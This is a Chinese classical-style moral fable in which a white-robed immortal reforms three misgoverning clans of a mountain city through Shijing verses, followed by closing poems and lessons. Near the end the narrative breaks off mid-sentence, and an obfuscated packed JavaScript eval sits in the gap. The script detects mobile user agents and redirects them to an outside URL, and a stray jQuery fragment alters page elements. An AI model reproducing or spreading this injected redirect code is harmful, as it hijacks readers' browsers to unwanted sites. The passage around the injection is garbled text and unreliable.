楔子·三诗石


    岷江之畔有山城名“瞻南山城”，城北有“父母台”，台立“三诗石”，石分三面，分镌《诗经》三章：东面“乐只君子，民之父母”；南面“节彼南山，维石岩岩。赫赫师尹，民具尔瞻”；西面“殷之未丧师，克配上帝。仪监于殷，峻命不易”。字迹苍古，传为前代贤臣以佩剑刻就，喻“为君为官之道”。


    然百年离乱，石面斑驳。城中三大姓：孟氏为城主，贪敛好奢；仲氏为将门，暴虐寡恩；季氏为世族，骄横妒贤。三家皆“民之父母”自居，然行止乖悖，民怨沸腾。


    是年惊蛰，三诗石忽现异象：“民之父母”四字渗血如泪；“民具尔瞻”四字龟裂如怒目；“峻命不易”四字灰暗如死铁。三姓家主观石，各怀鬼胎。


    三月三，上巳节，城中演古乐《南山》。正奏至“民具尔瞻”乐章，忽闻主磬“铿”然裂响——那口重达百斤的青玉大磬，磬体竟自中裂开，一人自磬腹中飘然而出，如白鹤破玉，落于祭坛。


    来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，只透出两点寒潭般的眸光；着一身云纹素罗深衣，衣摆以银丝绣着三重山峦纹，暗合“南山”之象，行动时山峦起伏，似有风云涌动。外罩一件无袖素纱氅衣，氅角缀三枚玉珏，珏珏相叠却寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如层岩叠嶂，似藏万古沧桑。足踏素锦步云履，履尖微翘，不染尘埃。


    身形清癯，立于裂磬之侧，帷笠轻纱与祭坛幡旗同扬，竟似从磬声中化出的仙灵。台下观者骇然，分不清是乐是幻。


    来人以木剑轻敲裂磬，声如裂帛：


    “民之所好好之，民之所恶恶之！”


    又敲：


    “有国者不可以不慎！”


    再敲：


    “道得众则得国，失众则失国！”


    诵罢，木剑遥指三诗石：“三姓家主，可愿登台观石？”


    孟、仲、季三公相顾失色。来人飘然下台，衣袂如流云舒卷：“某有三桩‘父母’公案，可请三公分观。观毕，再论得失。”


    一、 民之父母谳（孟氏）


    孟氏世袭城主，家主孟公。自称“民之父母”，然行止悖逆：民好俭朴，彼好奢靡，加税筑华园；民恶酷吏，彼用贪官，纵仆欺市井。昨日，为建“揽月楼”，强征民田百亩，老农阻挠，被鞭笞下狱。


    来人引孟公至“民之父母”石前。四字渗血，以指触之，温热如泪。孟公蹙眉。


    “乐只君子，民之父母。”来人问，“孟公可为民父母否？”


    孟公强道：“吾养民如子…”


    “民之所好好之，民之所恶恶之。此之谓民之父母。”来人取民意册，上录民怨三百条：“民好轻赋，公加税；民恶贪官，公用赃；民好俭朴，公好奢。是顺民，是逆民？”


    孟公汗出。来人又引至揽月楼址，见民田被毁，麦苗践踏，老农囚于木笼。问：“父母可夺子田？可囚子身？”


    孟公语塞。来人叹：“殷之未丧师，克配上帝。仪监于殷，峻命不易。殷纣失民心而丧国，公欲效之乎？”


    取石上血泪，抹于孟公掌：“此民之血泪。公自称父母，而饮子血，食子肉，是何父母？”


    孟公大恸，即释老农，还其田，罢揽月楼，开仓济贫。是夜，“民之父母”四字血渍渐淡。来人教“父母法”：视民如子，好民所好，恶民所恶。孟公自此简朴，罢苛税，民颂“孟公仁”。


    二、 民具尔瞻谳（仲氏）


    仲氏为将门，家主仲公，掌城防。赫赫威严，民畏如虎。然暴虐寡恩：士卒有功不赏，小过重罚；民讼不察，动辄鞭挞。昨日，小卒失手打碎瓷碗，仲公令鞭五十，奄奄一息；老妪诉子被豪强殴，仲公斥“刁民滋事”，驱之门外。


    来人引仲公至“民具尔瞻”石前。四字龟裂，以手抚之，纹如怒目。仲公缩手。


    “节彼南山，维石岩岩。赫赫师尹，民具尔瞻。”来人问，“仲公赫赫，民瞻公何为？”


    仲公傲然：“瞻吾威仪…”


    “民瞻公之仁，非瞻公之威。”来人取军册，记仲公罚卒百例，赏卒不过十。“小过重罚，是立威，是失仁？民诉冤不察，是明断，是昏聩？”


    仲公赧然。来人又引至军营，见伤卒卧草铺，无医无药；老妪跪营外，泣诉不止。问：“为将者，不爱卒，民岂附？为官者，不察冤，民岂服？”


    取石上裂痕，示仲公：“石裂因内损，民怨因内腐。公苛卒虐民，犹自损基石。基石损，大厦倾，公赫赫威严，可倚乎？”


    仲公惭，即延医治卒，重审老妪案，惩豪强，偿其子。又设“明察堂”，凡民讼必细审。是夜，“民具尔瞻”四字裂痕渐合。来人教“尔瞻法”：民之所瞻，在德不在威。仲公自此宽严相济，士卒用命，民颂“仲公明”。


    三、 峻命不易谳（季氏）


    季氏为世族，家主季公，掌礼教。骄横妒贤：族中子弟有才者压之，寒门士子有能者阻之。昨日，族侄季文作《安民策》，季公斥“狂妄”，禁其入仕；寒士柳生诗才冠绝，季公黜其科考。城中才俊，多怀愤懑。


    来人引季公至“峻命不易”石前。四字灰暗，以手扣之，声如朽木。季公骇。


    “仪监于殷，峻命不易。”来人问，“季公可知天命不易？”


    季公强道：“天命在德…”


    “道得众则得国，失众则失国。得众在得才，失才如失臂。”来人取季氏家谱，百年间出仕者三十七人，然政声卓著者不过三五。“余者皆庸碌，何也？”


    “此…时运不济。”


    “非时运，是妒贤。”来人又取《安民策》与柳生诗：“此文可安民，此诗可感世。公压之黜之，是爱才，是害才？殷纣囚箕子、杀比干，失贤而丧国。公欲效之乎？”


    季公汗出。来人叹：“峻命不易，在得人。公妒贤嫉能，犹自断股肱。股肱断，何以行？天命去，何以存？”


    取石上灰暗处，以木剑轻刮，露出玉质：“石本玉，蒙尘则暗；才本俊，受压则晦。公为世族，当为天下举贤，何以蔽贤？”


    季公泣，即荐季文为吏，聘柳生为塾师，更设“荐贤堂”，凡有才者必举。是夜，“峻命不易”四字渐复光华。来人教“得众法”：得众在得心，得心在得贤。季氏自此门风开明，贤才辈出。


    四、 得失会


    三姓悔改，聚于父母台。来人指三诗石：


    “有国者不可以不慎。辟则为天下僇矣。今三公为城中尊，一举一动，民皆瞻之。公慎，则民安；公辟，则民乱。”


    孟公问：“吾等已改，然城中仍有豪强欺民，何以治之？”


    “以父母之心治之。”来人召城民聚台下，令三公自陈其过。


    孟公陈奢虐：“吾奢靡虐民，今知罪矣。民之所好好之，民之所恶恶之。愿与民同好恶。”


    仲公陈暴苛：“吾暴苛失仁，今知悔矣。赫赫师尹，民具尔瞻。愿以德立威，不以暴立威。”


    季公陈妒贤：“吾妒贤蔽才，今知耻矣。道得众则得国，失众则失国。愿为天下举贤。”


    城民闻之，欢声雷动。有豪强惭，有酷吏悔，有妒者羞。三月间，城风大治。


    来人教“父母化民法”：择城中贤者，立“父母堂”，每月朔望，聚于台下，以“民之父母”相惕励。又制“瞻仰牌”，上书“民具尔瞻”，悬于公门，以为警醒。


    五、 得失国谳


    端阳，瞻南山城办“父母祭”，三姓共主祭。忽有外寇来犯，号称十万。城民惊，欲弃城。来人止之，召三姓家主并城中耆老，会于父母台。


    是日，祭典方启，主祭人正诵“峻命不易”，忽闻祭坛中央那尊三足青铜大鼎发出“嗡”然长鸣——鼎内本焚着香蒿，此刻青烟缭绕，竟自鼎腹中凝出一道人形，踏烟步虚，如登天阶。


    来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼎耳之上，衣袂与香烟同旋。


    “善哉！三公已得父母之道。”来人朗声道，“道得众则得国，失众则失国。今外寇来犯，是彼失道；我若弃民，是亦失道。当以父母之心守城。”


    飞身而下，如白鹤掠地，点尘不惊。取木剑画地成图：“寇虽众，乌合也；我虽寡，同心也。孟公散财犒军，仲公整军守城，季公撰檄文鼓气。民为父母，必效死力。”


    三公从之。孟公尽散家财，犒赏军民；仲公亲冒矢石，守于城头；季公作《保城赋》，全城传诵。军民感泣，誓同生死。三日血战，外寇见城不可下，又闻檄文中“民之所好好之，民之所恶恶之，此谓民之父母。尔等暴虐，民皆恶之，天必诛之”等语，士气沮丧，竟一夜溃去。


    城中文士叹曰：“昔孟公贪奢，仲公暴虐，季公妒贤，民心离散。今三公改过，民皆效死，此谓‘得众则得国’也！”


    来人登台顶，临风而立，诵《诗》三章，声清越如磬。诵罢，谓众曰：“乐只君子，民之父母。父母


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098580|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱子，子岂不孝？民具尔瞻，瞻其德也。有国者不可以不慎，辟则为天下僇矣。殷鉴不远，在夏后之世。三公慎之！”


    孟公拜问：“先生将去，何以长守？”


    来人指心：“父母之心，在汝胸中。但时时自问：民之所好，我好否？民之所恶，我恶否？若然，则为真父母矣。”


    言毕，纵身跃上三诗石顶，足尖一点“瞻”字，身形如白虹贯月，没入云中。众人仰观，唯见石上诗文光华流转，如日如月。


    尾声父母谣


    十年后，瞻南山城更名“父母邑”。三姓互通婚姻，无分贵贱。邑中设“父母塾”，童蒙入学，先诵三诗。有游学书生过境，见邑中“路不拾遗，夜不闭户，老幼皆有所养”，问：“此邑何治若此？”


    老者答：“官民如父母子女。”


    “何以至此？”


    童子诵《父母谣》：


    “治国要在得民心，


    得民要在为父母。


    民之所好好好之，


    民之所恶恶恶之。


    此谓民之父母道，


    赫赫师尹民具瞻。


    有国不可不谨慎，


    辟则为天下所戮。


    殷未丧师配上帝，


    仪监于殷命不易。


    道得众则得国兮，


    失众则失国要记。


    三姓当初迷此理，


    诗石前指父母经。”


    书生叹服。是夜，宿邑中，梦来人踏月而至，以木剑点其额：“子若为官，可为父母否？民好俭，子可俭？民恶贪，子可清？民瞻尔德，子可有德？得众得国，失众失国。子可慎之？”


    书生惊寤，汗透重衣。翌日，焚行卷，归乡苦读。三年后中进士，为官清正，民颂“父母官”。


    邑中三诗石，后人建“父母阁”护之，阁悬联：“乐只君子民父母，赫赫师尹民具瞻”。有官吏临石，石面自现民瘼。人传：“此乃白衣仙人所留父母鉴也。”


    本章诫世


    一、 民之父母三要


    - 民之所好好之，民之所恶恶之（乐只君子章）


    - 有国者不可以不慎，辟则为天下僇矣（节彼南山章）


    - 道得众则得国，失众则失国（殷鉴章）


    - 破解法：为官为长，自问“我可为民父母？我好好恶恶，同于民否？我谨慎否？我得众否？”


    二、 三姓三失


    - 孟氏失“好恶”——民好俭恶奢，彼反其道


    - 仲氏失“谨慎”——民瞻其德，彼逞其威


    - 季氏失“得众”——民望得贤，彼反妒贤


    - 惕世：多少官吏自称父母，而行同豺虎？多少权贵赫赫威严，而德不配位？多少世族骄横妒贤，而自掘坟墓？


    三、 得失之机


    - 道得众则得国，失众则失国


    - 深层隐喻：得众在得心，得心在顺德。顺民好恶，慎行谨言，举贤任能，则民附；逆民好恶，肆行妄言，蔽贤嫉能，则民离


    - 终极指向：治国平天下，在为民父母。父母爱子，则子孝；官爱民，则民忠。此不易之理也


    父母偈：


    瞻南山城三姓偏，父母之道各失全。


    孟氏逆民好恶心，奢虐加征民怨深。


    仲氏暴虐失谨慎，民具尔瞻瞻其愆。


    季氏妒贤失众道，蔽才压俊天命迁。


    三姓迷途不知返，诗石斑驳血泪涟。


    白衣点破父母理，三诗石前指玄渊。


    民之所好好恶恶，方为民之父母焉。


    赫赫师尹民具瞻，有国慎辟免僇愆。


    仪监于殷峻不易，得众得国失众颠。


    后世叹：


    乐只君子民父母，民好好之恶恶之。


    赫赫师尹民具瞻，有国不慎僇随之。


    殷未丧师配上帝，仪监于殷命不易。


    得众得国失众失，三姓当初皆背驰。


    诗石斑驳血泪现，白衣指点父母司。


    正是：


    治国平天下父母，民好好之恶恶之。


    乐只君子民父母，此谓民之父母道。


    节彼南山石岩岩，赫赫师尹民具瞻。


    有国不可不谨慎，辟则为天下所僇。


    殷未丧师配上帝，仪监于殷命不易。


    道得众则得国兮，失众则失国要记。


    三姓当初迷此理，诗石前指父母义。